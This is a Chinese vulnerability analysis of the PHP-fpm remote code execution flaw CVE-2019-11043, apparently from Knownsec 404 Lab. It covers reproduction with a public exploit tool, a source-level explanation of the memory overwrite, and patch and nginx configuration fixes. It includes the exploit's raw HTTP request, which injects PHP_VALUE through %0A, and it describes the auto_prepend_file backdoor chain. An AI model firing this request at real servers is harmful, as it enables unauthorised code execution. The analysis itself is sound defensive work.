专栏名称: Seebug漏洞平台
Seebug,原 Sebug 漏洞平台,洞悉漏洞,让你掌握第一手漏洞情报!
51好读  ›  专栏  ›  Seebug漏洞平台

PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析

Seebug漏洞平台  · 公众号  ·  · 2019-10-26 09:00

正文

作者: LoRexxar'@知道创宇404实验室
时间: 2019年10月25日

国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

2019年10月23日,github公开漏洞相关的详情以及exp。 当nginx配置不当时,会导致php-fpm远程任意代码执行。

下面我们就来一点点看看漏洞的详细分析,文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室



漏洞复现

为了 能更方便的复现漏洞,这里我们采用vulhub来构建漏洞环境。
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pull docker-compose up -d

访问 http://{your_ip}:8080/

下载github上公开的exp(需要go环境)。

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用exp攻击demo网站

phuip-fpizdam http://{your_ip}:8080/

攻击成功



漏洞分析

在分析漏洞原理之前,我们这里可以直接跟入看修复的commit

https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

从commit中我们可以很清晰的看出来漏洞成因应该是 path_info 的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是说,当 path_info 被%0a截断时, path_info 将被置为空,回到代码中我就不难发现问题所在了。 其中 env_path_info 就是变量 path_info 的地址, path_info 为0则 plien 为0.

slen 变量来自于请求后url的长度

    int ptlen = strlen(pt);    int slen = len - ptlen;

其中

int len = script_path_translated_len;
len为url路径长度当请求url为http://127.0.0.1/index.php/123%0atest.phpscript_path_translated来自于nginx的配置,为/var/www/html/index.php/123\ntest.php
ptlen则为url路径第一个斜杠之前的内容长度当请求url为http://127.0.0.1/index.php/123%0atest.phppt为/var/www/html/index.php

这两个变量的差就是后面的路径长度,由于路径可控,则 path_info 可控。 由于 path_info 可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使 _fcgi_data_seg 结构体的 char* pos 置零。 其中 script_name 同样来自于请求的配置

而为什么我们使 _fcgi_data_seg 结构体的 char* pos 置零,就会影响到 FCGI_PUTENV 的结果呢?

这里我们深入去看 FCGI_PUTENV 的定义.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函数 fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703 函数直接操作request的env,而这个参数在前面被预定义。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

继续跟进初始化函数 fcgi_hash_init .

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254 也就是说 request->env 就是前面提到的 fcgi_data_seg 结构体,而这里的 request->env 是nginx在和fastcgi通信时储存的全局变量。

部分全局变量会在nginx的配置中定

其中变量会在堆上相应的位置储存

回到利用过程中,这里我们通过控制 path_info 指向 request->env 来使 request->env->pos 置零。

继续回到赋值函数 fcgi_hash_set 函数 紧接着进入 fcgi_hash_strndup

这里 h->data-》pos 的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。

而问题就在于,我们怎么能向我们想要的位置写数据呢? 又怎么向我们指定的配置写文件呢?

这里我们拿exp发送的利用数据包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: ubuntu.local:8080User-Agent: Mozilla/5.0D-Gisos: 8=====================================DEbut: mamku tvoyu

在数据包中,header中的最后两部分就是为了完成这部分功能,其中 D-Gisos 负责位移,向指定的位置写入数据。

Ebut 会转化为 HTTP_EBUT 这个 fastcgi_param 中的其中一个全局变量 ,然后我们需要了解一下 fastcgi 中全局变量的获取数据的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328 可以看到当fastcgi想要获取全局变 量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.

也就是说, 只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据

HTTP_EBUT PHP_VALUE 恰好长度相同,我们可以从堆上数据的变化来印证这一点。

在覆盖之前,该地址对应数据为

然后执行 fcgi_quick_puten

该地址对应数据变为

我们成功写入了 PHP_VALUE 并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。

当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。

exp作者通过开启自动包含,并设置包含目录为 /tmp ,之后设置log地址为 /tmp/a 并将payload写入log文件,通过 auto_prepend_file 自动包含 /tmp/a 文件构造后门文件。



漏洞修复

过对漏洞的深入研究后,我们推荐两种方案修复这个漏洞。

临时修复:

修改nginx相应的配置,并在php相关的配置中加入

    try_files $uri =404

在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。

正式修复:

•将PHP 7.1.X更新至7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33 •将PHP 7.2.X更新至7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24 •将PHP 7.3.X更新至7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11



漏洞影响

结合EXP github中提到的利用条件,我们可以尽可能的总结利用条件以及漏洞影响范围。

1、Nginx + php_fpm,且配置 location ~ [^/]\.php(/|$) 会将请求转发到php-fpm。 2、Nginx配置 fastcgi_split_path_info 并且以 ^ 开始以 $ ,只有在这种条件下才可以通过换行符来打断正则表达式判断。 ps: 则允许 index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

3、 fastcgi_param PATH_INFO 会被定义通过 fastcgi_param PATH_INFO $fastcgi_path_info; ,当然这个变量会在 fastcgi_params 默认定义。 4、在nginx层面没有定义对文件的检查比如







请到「今天看啥」查看全文